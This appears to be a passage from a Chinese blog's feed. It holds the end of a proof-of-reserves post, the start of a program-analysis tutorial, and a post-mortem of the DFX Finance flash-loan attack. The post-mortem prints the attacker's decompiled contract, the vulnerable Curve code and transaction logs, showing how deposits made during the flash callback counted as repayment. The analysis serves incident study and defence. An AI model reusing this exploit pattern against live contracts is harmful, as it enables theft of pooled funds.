href="https://medium.com/business-blockchain-hq/armanino-launches-auditing-software-business-blockchain-hq-e5f935dcc8a4">https://medium.com/business-blockchain-hq/armanino-launches-auditing-software-business-blockchain-hq-e5f935dcc8a4</a></li><li>[4] <a href="https://dgi.io/ots-tutorial/">https://dgi.io/ots-tutorial/</a></li><li>[5]<a href="https://en.wikipedia.org/wiki/Secure_multi-party_computation">https://en.wikipedia.org/wiki/Secure_multi-party_computation</a></li><li>[6]<a href="https://www.jadewallet.io/mpc-based-threshold-signature-scheme.html">https://www.jadewallet.io/mpc-based-threshold-signature-scheme.html</a></li></ul>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/defi/Merkle-Tree-Proof-of-Reserves/</id>
    <link href="https://www.blog-blockchain.xyz/defi/Merkle-Tree-Proof-of-Reserves/"/>
    <published>2022-11-19T14:16:22.000Z</published>
    <summary>详细介绍默克尔树准备金证明技术，分析其在加密货币交易所透明度验证中的应用，包括实时认证、MPC门限签名方案等改进方案。</summary>
    <title>默克尔准备金（Merkle Tree Proof of Reserves)</title>
    <updated>2026-02-19T16:18:01.172Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="defi" scheme="https://www.blog-blockchain.xyz/categories/defi/"/>
    <category term="defi" scheme="https://www.blog-blockchain.xyz/tags/defi/"/>
    <content>
      <![CDATA[<h2 id="信息">信息</h2><p>攻击者地址：0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067</p><p>分析的交易：0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7</p><p>发起攻击的合约：0x6cfa86a352339e766ff1ca119c8c40824f41f22d</p><p>函数调用参数：<a href="https://fefu.io/eth/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7">https://fefu.io/eth/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7</a></p><p>tenderly: <a href="https://dashboard.tenderly.co/tx/mainnet/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7">https://dashboard.tenderly.co/tx/mainnet/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7</a></p><p>代码和分析打包：<a href="https://1drv.ms/u/s!At0_LwVPvookh6ApCW53C1CM9ixVIg?e=ewzgtq">https://1drv.ms/u/s!At0_LwVPvookh6ApCW53C1CM9ixVIg?e=ewzgtq</a></p><h2 id="发起攻击的合约逆向">发起攻击的合约逆向</h2><p>完整逆向代码见：<a href="https://gist.github.com/learnerLj/f6a1ce6e8a1b1fe98510cfbd2a98d3d1">https://gist.github.com/learnerLj/f6a1ce6e8a1b1fe98510cfbd2a98d3d1</a></p><p>首先攻击者调用攻击合约，逆向代码进行了简化，攻击者设置了一些 require，防止被 bot 抢跑，这里我们删除这些语句还有逆向代码。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">function 0xb727281f(uint256 varg0, uint256 varg1) public payable &#123;</span><br><span class="line">    require(4 + (msg.data.length - 4) - 4 &gt;= 64);</span><br><span class="line">    require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);</span><br><span class="line">    stor_5 = varg0;</span><br><span class="line">    stor_9 = varg1;</span><br><span class="line">    v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);</span><br><span class="line">    RETURNDATACOPY(v1, 0, RETURNDATASIZE());</span><br><span class="line">    MEM[64] = v1 + (RETURNDATASIZE() + 31 &amp; ~0x1f);</span><br><span class="line">    if (1 &lt; MEM[v1 + MEM[v1 + 32]]) &#123;</span><br><span class="line">        if (0 &lt; MEM[v1 + MEM[v1 + 32]]) &#123;</span><br><span class="line">            0x34d3();</span><br><span class="line">            exit;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    revert(Panic(50));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code> v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);</code> 调用了如下函数，位于 <code>Curve/contracts/Curve.sol#550</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">/// @notice view deposits and curves minted a given deposit would return</span><br><span class="line">/// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the</span><br><span class="line">///                 prevailing proportions of the numeraire assets of the pool</span><br><span class="line">/// @return (the amount of curves you receive in return for your deposit,</span><br><span class="line">///          the amount deposited for each numeraire)</span><br><span class="line">function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) &#123;</span><br><span class="line">    // curvesToMint_, depositsToMake_</span><br><span class="line">    return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>ProportionalLiquidity.viewProportionalDeposit</code> 是库合约中的函数，位于 <code>Curve/contracts/ProportionalLiquidity.sol#78</code>，第一个参数 <code>curve</code> 是一个结构体包括各种属性，第二个是计划存入的金额。具体内容不细致分析，读者感兴趣可以自行查看源码。这一段的作用是用于查看如果存入这么多金额，应该会返回多少代币。</p><p>之后经过很多检查后，攻击的合约执行如下函数：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">function 0x34d3() private &#123;</span><br><span class="line">    v0 = 0x3774(stor_9, stor_7);</span><br><span class="line">    v1 = 0x37e1(1000, v0);</span><br><span class="line">    v2 = _SafeSub(v1, stor_7);</span><br><span class="line">    v3 = 0x3774(stor_9, _uniswapV3FlashCallback);</span><br><span class="line">    v4 = 0x37e1(1000, v3);</span><br><span class="line">    v5 = _SafeSub(v4, _uniswapV3FlashCallback);</span><br><span class="line">    require(stor_0_0_19.code.size);</span><br><span class="line">    v6 = stor_0_0_19.flash(address(this), v2, v5, &#x27;0xcallflash&#x27;).gas(msg.gas);</span><br><span class="line">    require(v6); // checks call status, propagates error data on error</span><br><span class="line">    require(stor_0_0_19.code.size);</span><br><span class="line">    v7, v8 = stor_0_0_19.balanceOf(address(this)).gas(msg.gas);</span><br><span class="line">    require(v7); // checks call status, propagates error data on error</span><br><span class="line">    MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 &amp; ~0x1f);</span><br><span class="line">    require(MEM[64] + RETURNDATASIZE() - MEM[64] &gt;= 32);</span><br><span class="line">    0x43bd(v8);</span><br><span class="line">    require(stor_0_0_19.code.size);</span><br><span class="line">    v9 = stor_0_0_19.withdraw(v8, 0xf285c0bd068).gas(msg.gas);</span><br><span class="line">    require(v9); // checks call status, propagates error data on error</span><br><span class="line">    return ;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中 <code>0x3774</code> <code>0x37e1</code> 等函数是算术运算，不细看，直到开始调用 <code>v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas);</code>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">function flash(</span><br><span class="line">    address recipient,</span><br><span class="line">    uint256 amount0,</span><br><span class="line">    uint256 amount1,</span><br><span class="line">    bytes calldata data</span><br><span class="line">) external transactable noDelegateCall isNotEmergency &#123;</span><br><span class="line">    uint256 fee = curve.epsilon.mulu(1e18);</span><br><span class="line"></span><br><span class="line">    require(IERC20(derivatives[0]).balanceOf(address(this)) &gt; 0, &#x27;Curve/token0-zero-liquidity-depth&#x27;);</span><br><span class="line">    require(IERC20(derivatives[1]).balanceOf(address(this)) &gt; 0, &#x27;Curve/token1-zero-liquidity-depth&#x27;);</span><br><span class="line"></span><br><span class="line">    uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18);</span><br><span class="line">    uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18);</span><br><span class="line">    uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this));</span><br><span class="line">    uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this));</span><br><span class="line"></span><br><span class="line">    if (amount0 &gt; 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0);</span><br><span class="line">    if (amount1 &gt; 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1);</span><br><span class="line"></span><br><span class="line">    IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);</span><br><span class="line"></span><br><span class="line">    uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this));</span><br><span class="line">    uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this));</span><br><span class="line"></span><br><span class="line">    require(balance0Before.add(fee0) &lt;= balance0After, &#x27;Curve/insufficient-token0-returned&#x27;);</span><br><span class="line">    require(balance1Before.add(fee1) &lt;= balance1After, &#x27;Curve/insufficient-token1-returned&#x27;);</span><br><span class="line"></span><br><span class="line">    // sub is safe because we know balanceAfter is gt balanceBefore by at least fee</span><br><span class="line">    uint256 paid0 = balance0After - balance0Before;</span><br><span class="line">    uint256 paid1 = balance1After - balance1Before;</span><br><span class="line"></span><br><span class="line">    IERC20(derivatives[0]).safeTransfer(owner, paid0);</span><br><span class="line">    IERC20(derivatives[1]).safeTransfer(owner, paid1);</span><br><span class="line"></span><br><span class="line">    emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这是非常标准的闪电贷代码，关键是 <code>IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);</code> 回调了。</p><p>回调的攻击者合约代码如下（也做了简化）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">function 0xc3924ed6(uint256 varg0, uint256 varg1, uint256 varg2) public payable &#123;</span><br><span class="line">    v0 = stor_0_0_19.deposit(stor_5, 0xf285c0bd068).gas(msg.gas);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>非常直接的开始存款，函数如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">/// @notice deposit into the pool with no slippage from the numeraire assets the pool supports</span><br><span class="line">/// @param  _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst</span><br><span class="line">///                  the numeraire assets of the pool</span><br><span class="line">/// @return (the amount of curves you receive in return for your deposit,</span><br><span class="line">///          the amount deposited for each numeraire)</span><br><span class="line">function deposit(uint256 _deposit, uint256 _deadline)</span><br><span class="line">    external</span><br><span class="line">    deadline(_deadline)</span><br><span class="line">    transactable</span><br><span class="line">    nonReentrant</span><br><span class="line">    noDelegateCall</span><br><span class="line">    notInWhitelistingStage</span><br><span class="line">    isNotEmergency</span><br><span class="line">    returns (uint256, uint256[] memory)</span><br><span class="line">&#123;</span><br><span class="line">    // (curvesMinted_,  deposits_)</span><br><span class="line">    return ProportionalLiquidity.proportionalDeposit(curve, _deposit);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>具体参数 <code>deposit(uint256 200_000_000_000_000_000_000_000, 16_666_017_386_600)</code>。它直接调用了库函数。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">function proportionalDeposit(Storage.Curve storage curve, uint256 _deposit)</span><br><span class="line">        external</span><br><span class="line">        returns (uint256 curves_, uint256[] memory)</span><br><span class="line">    &#123;</span><br><span class="line">        int128 __deposit = _deposit.divu(1e18);</span><br><span class="line"></span><br><span class="line">        uint256 _length = curve.assets.length;</span><br><span class="line"></span><br><span class="line">        uint256[] memory deposits_ = new uint256[](_length);</span><br><span class="line"></span><br><span class="line">        (int128 _oGLiq, int128[] memory _oBals) = getGrossLiquidityAndBalancesForDeposit(curve);</span><br><span class="line"></span><br><span class="line">        // Needed to calculate liquidity invariant</span><br><span class="line">        // (int128 _oGLiqProp, int128[] memory _oBalsProp) = getGrossLiquidityAndBalances(curve);</span><br><span class="line"></span><br><span class="line">        // No liquidity, oracle sets the ratio</span><br><span class="line">        if (_oGLiq == 0) &#123;</span><br><span class="line">            for (uint256 i = 0; i &lt; _length; i++) &#123;</span><br><span class="line">                // Variable here to avoid stack-too-deep errors</span><br><span class="line">                int128 _d = __deposit.mul(curve.weights[i]);</span><br><span class="line">                deposits_[i] = Assimilators.intakeNumeraire(curve.assets[i].addr, _d.add(ONE_WEI));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            // We already have an existing pool ratio</span><br><span class="line">            // which must be respected</span><br><span class="line">            int128 _multiplier = __deposit.div(_oGLiq);</span><br><span class="line"></span><br><span class="line">            uint256 _baseWeight = curve.weights[0].mulu(1e18);</span><br><span class="line">            uint256 _quoteWeight = curve.weights[1].mulu(1e18);</span><br><span class="line"></span><br><span class="line">            for (uint256 i = 0; i &lt; _length; i++) &#123;</span><br><span class="line">                deposits_[i] = Assimilators.intakeNumeraireLPRatio(</span><br><span class="line">                    curve.assets[i].addr,</span><br><span class="line">                    _baseWeight,</span><br><span class="line">                    _quoteWeight,</span><br><span class="line">                    _oBals[i].mul(_multiplier).add(ONE_WEI)</span><br><span class="line">                );</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        int128 _totalShells = curve.totalSupply.divu(1e18);</span><br><span class="line"></span><br><span class="line">        int128 _newShells = __deposit;</span><br><span class="line"></span><br><span class="line">        if (_totalShells &gt; 0) &#123;</span><br><span class="line">            _newShells = __deposit.mul(_totalShells);</span><br><span class="line">            _newShells = _newShells.div(_oGLiq);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        mint(curve, msg.sender, curves_ = _newShells.mulu(1e18));</span><br><span class="line"></span><br><span class="line">        return (curves_, deposits_);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p><code>getGrossLiquidityAndBalancesForDeposit(curve)</code> 计算之前存款的总流动性和余额，然后在 <code>Assimilators.intakeNumeraireLPRatio</code> 计算了存入金额和 LP 的比率，然后攻击者合约给 curve 合约打钱。下面是两个日志</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">&quot;from&quot;:&quot;0x6cfa86a352339e766ff1ca119c8c40824f41f22d&quot;</span><br><span class="line">&quot;to&quot;:&quot;0x46161158b1947d9149e066d6d31af1283b2d377c&quot;</span><br><span class="line">&quot;value&quot;:&quot;2325581395325581&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">&quot;from&quot;:&quot;0x6cfa86a352339e766ff1ca119c8c40824f41f22d&quot;</span><br><span class="line">&quot;to&quot;:&quot;0x46161158b1947d9149e066d6d31af1283b2d377c&quot;</span><br><span class="line">&quot;value&quot;:&quot;100000000000&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>之后 mint 代币给攻击者合约。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">&quot;from&quot;:&quot;0x0000000000000000000000000000000000000000&quot;</span><br><span class="line">&quot;to&quot;:&quot;0x6cfa86a352339e766ff1ca119c8c40824f41f22d&quot;</span><br><span class="line">&quot;value&quot;:&quot;387023837944937266146579&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当 flash 回调结束的时候</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">balance0Before = 0x000000000000000000000000000000000000000000000000002463e31a1c492c</span><br><span class="line">balance1Before = 0x00000000000000000000000000000000000000000000000000000068516c41ac</span><br><span class="line"></span><br><span class="line">balance0After = 0x00000000000000000000000000000000000000000000000000247093e6d40a1d</span><br><span class="line">balance1After = 0x00000000000000000000000000000000000000000000000000000068752f87ac</span><br><span class="line"></span><br><span class="line">paid0 = 0xcb0ccb7c0f1</span><br><span class="line">paid1 = 0x23c34600</span><br></pre></td></tr></table></figure><p>说明还需要支付的代币已经少了很多了，因为最开始借贷的代币数量是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">&quot;from&quot;:&quot;0x46161158b1947d9149e066d6d31af1283b2d377c&quot;</span><br><span class="line">&quot;to&quot;:&quot;0x6cfa86a352339e766ff1ca119c8c40824f41f22d&quot;</span><br><span class="line">&quot;value&quot;:&quot;0x83669d03f319c&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">&quot;from&quot;:&quot;0x46161158b1947d9149e066d6d31af1283b2d377c&quot;</span><br><span class="line">&quot;to&quot;:&quot;0x6cfa86a352339e766ff1ca119c8c40824f41f22d&quot;</span><br><span class="line">&quot;value&quot;:&quot;0x1724b3a200&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>说明攻击者空手套白狼了两种代币，分别为 <code>0x829b9038770ab</code> <code>0x1700f05c00</code>，需要还闪电贷的只是一个零头。通过多次这样的交易，攻击者大量套利。</p><p>感觉这个逻辑还是简单的，可能一个合约中不能出现重入比较好，或者说是业务逻辑考虑不周全，没有考虑其他函数造成的 balance 改变对 flash 的影响。一般考虑清楚每个 callback，考虑清楚每个函数依赖的变量是否可能在调用过程中篡改，就能避免很多问题。这里稍微复杂以下的是，获取 balance 的过程基本都是用到了代理合约还有计算汇率是采用了自己 abi 编码其他合约去处理，导致中间一大堆调用，跳过就好。</p><p><strong>攻击的核心是在 curve 闪电贷的回调函数里，攻击者将借贷的代币存入 curve 合约，因为 curve 通过 balance(curve) 获取余额，所以存入的代币也被视作还款了。</strong></p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/defi/DFX-Finance-attack/</id>
    <link href="https://www.blog-blockchain.xyz/defi/DFX-Finance-attack/"/>
    <published>2022-11-11T12:49:22.000Z</published>
    <summary>深入分析DFX Finance闪电贷重入攻击案例，详解攻击者如何利用Curve合约的闪电贷回调机制实现空手套白狼，揭示DeFi合约中余额检查的安全漏洞。</summary>
    <title>DFX Finance 攻击分析</title>
    <updated>2026-02-19T16:18:01.172Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/categories/program-language/"/>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/tags/program-language/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/pl/understanding-program-analysis/" title="（一）初识软件分析">（一）初识软件分析</a></li><li><a href="/pl/data-flow-analysis/" title="（二）数据流分析基础">（二）数据流分析基础</a></li><li><a href="/pl/LP-souffle/" title="（三）Datalog和程序分析">（三）Datalog和程序分析</a></li><li><a href="/pl/ssa-and-sparse-analysis/" title="（四）静态单赋值和稀疏分析">（四）静态单赋值和稀疏分析</a></li><li><a href="/pl/Interprocedural-DFA/" title="（五）过程间分析">（五）过程间分析</a></li><li><a href="/pl/points-to-analysis/" title="（六）指向分析">（六）指向分析</a></li><li><a href="/pl/abstract-interpretation/" title="（七）抽象解释">（七）抽象解释</a></li><li><a href="/pl/smt-and-symbolic-execution/" title="（八）SMT和符号执行">（八）SMT和符号执行</a></li><li><a href="/pl/static-analysis-tools/" title="（九）体验静态分析工具">（九）体验静态分析工具</a></li><li><a href="/pl/fuzzing-introduction/" title="（十）Fuzzing 基础">（十）Fuzzing 基础</a></li></ol></blockquote><p>之前我们所有的分析都是没有函数调用的，也就是之前考虑的情况都是「过程内」的调用。本章将会考虑函数调用，开始「过程间」分析（Whole Program Analysis 或者 Link-time Analysis）的学习。</p><h2 id="基本思路">基本思路</h2><p>每个过程内分析对应一个抽象域，然后函数调用时，每个函数都是新的过程内分析。那么，只要考虑两个过程内分析的衔接即可。例如对下面的程序，在函数 A 内调用函数 B 时，其实就是过程间分析，调用和返回时对节点进行转换即可。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">B</span><span class="params">(x,y)</span>&#123;</span><br><span class="line">    z = x+y;</span><br><span class="line">    <span class="keyword">return</span> z;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">A</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="type">int</span> a = <span class="number">10</span>;</span><br><span class="line">    <span class="type">int</span> b = <span class="number">20</span>;</span><br><span class="line">    <span class="type">int</span> c = B(a,b);</span><br><span class="line">    <span class="keyword">return</span> c;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="http://cdn.blog-blockchain.xyz/202210101947235.png" alt="image-20221010194756153" style="zoom:80%;" /><h3 id="全局变量">全局变量</h3><p>如果出现了全局变量就会比较麻烦，那么过程间分析如何处理全局变量呢，一个办法是在所有的基本块中都添加全局变量，或者可以改进，只在读写了全局变量的过程内调用和调用了这个函数的地方添加全局变量。这其中比较烦的问题是，如果函数调用的层级比较深，那么其中的每个函数都要增加全局变量。例子如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">B</span><span class="params">(x,y)</span>&#123;</span><br><span class="line">    g = x+y;</span><br><span class="line">    <span class="keyword">return</span> g;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">A</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="type">int</span> g;</span><br><span class="line">    <span class="type">int</span> a = <span class="number">10</span>;</span><br><span class="line">    <span class="type">int</span> b = <span class="number">20</span>;</span><br><span class="line">    <span class="type">int</span> c = B(a,b);</span><br><span class="line">    <span class="keyword">return</span> c;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="http://cdn.blog-blockchain.xyz/202210101956975.png" alt="image-20221010195609935" style="zoom:120%;" /><h3 id="精度损失">精度损失</h3><p>假设 A 和 C 都调用了函数 B，然后也是采用 调用-返回 来执行过程间分析，那么函数 B 中变量改变了，又同时作为 A 和 C 的前驱节点，这样假如 A 改变了，那么 B 作为后续的过程也会发生改变，同时函数 B 中有 C 的前驱节点，C 也要重新评估。也就是说，只是因为调用函数 A，却导致了函数 C 的值也发生了变化。</p><img src="https://cdn.blog-blockchain.xyz/202210102018880.png" alt="image-20221010201822825" style="zoom:67%;" /><p>由于这种失真的触发条件非常容易，只要一个函数同时调用两次，就会出现问题，导致程序分析的结果非常不准确。</p><h2 id="克隆和上下文敏感性">克隆和上下文敏感性</h2><p>上下文指的是语句所在的环境，比如前后的语句和变量。上下文非敏感分析（Context-insensitive analysis） 在过程调用的时候忽略调用的上下文，因为上下文不会影响结果。上下文敏感分析 Context-sensitive analysis 则需要考虑上下文。类似的，控制流敏感只是把上下文改成了控制流中的分支，定义类似。</p><p>更加直接地理解，上下文不同的函数可以理解为不同调用位置的函数。特别地，对于递归函数，输入不同，那么上下文可能不同，有无限可能。所以，尽管递归函数在一个位置调用，但是从控制流的角度，上下文随着输入的不同，是不一样的。</p><p>为了解决上面的问题，很直观的想法是，在上下文敏感的调用位置处，都<strong>克隆</strong>一遍这个函数，让各处调用没有联系。</p><img src="http://cdn.blog-blockchain.xyz/202210102210649.png" alt="image-20221010221016572" style="zoom:50%;" /><h3 id="克隆的问题">克隆的问题</h3><p>但是，对于嵌套的函数，比如 A 调用 2 次 B，B 调用 2 次 C，C 调用 2 次 D。如果只是调用 A 一次，那么需要克隆 2*2*2=8 次 函数 D。对于一些面向对象的语言或者函数式语言，克隆发将会带来很大开销，根据调用深度指数增长。</p><p>另外，对于递归函数，自身无法静态地确定调用的次数，而且克隆次数非常多。无法处理这种情况。</p><p>为了解决上面的问题，提出了两种方案。</p><img src="http://cdn.blog-blockchain.xyz/202210102229483.png" alt="image-20221010222919337" style="zoom:50%;" /><p>如果读者没有理解「上下文」的含义，请回顾上一小节。解决方案 1 容易理解，解决方案 2 通过下面的例子学习。首先看明白递归函数的控制流图：</p><p><img src="http://cdn.blog-blockchain.xyz/202210102253986.png" alt="image-20221010225331822"></p><p>笔者也不想重新画这个图，于是结合文字理解吧。Enter 入口之后是一个分叉，表示控制分支。分支坐标是赋值语句，然后是 return 处的交汇，接着就退出函数。</p><p>右边首先是 2 号位置的 fib 函数，会递归调用自身。然后直到走左边的分支，从 Exit 最右边的线，返回到右边一列的第二个方格，然后给 y 赋值，接着进入 3 号 fib 函数，同样直到走左边的分支，然后从 Exit 进入右边倒数第二个的方格，接着给 z 赋值，再计算 x=y+z，最后交汇运算，Exit，完成整个调用。</p><p>然后，我们再看下面调用深度为 1 的情况。标号在代码中，context 1 是 main 函数中的调用，结束后直接返回即可。context 2 表示 2 号调用，有三个入口，一个是初始的调用，一个是自身的反复调用，一个是来自 3 号的调用。context 2 的调用结束之后，开始 3 号的调用。context 3 则有 2 个入口，分别是调用完 2 号后到 3 号，还有是直接在 context 1 中的调用。</p><img src="http://cdn.blog-blockchain.xyz/202210102241237.png" alt="image-20221010224147172" style="zoom: 67%;" /><p>递归调用肉眼可见的复杂，主要是要理解三个上下文对应的情况，读者不理解的话，可以多次琢磨。下面是两层的情况，读者直观看一眼，理解方法即可。</p><img src="http://cdn.blog-blockchain.xyz/202210102320442.png" 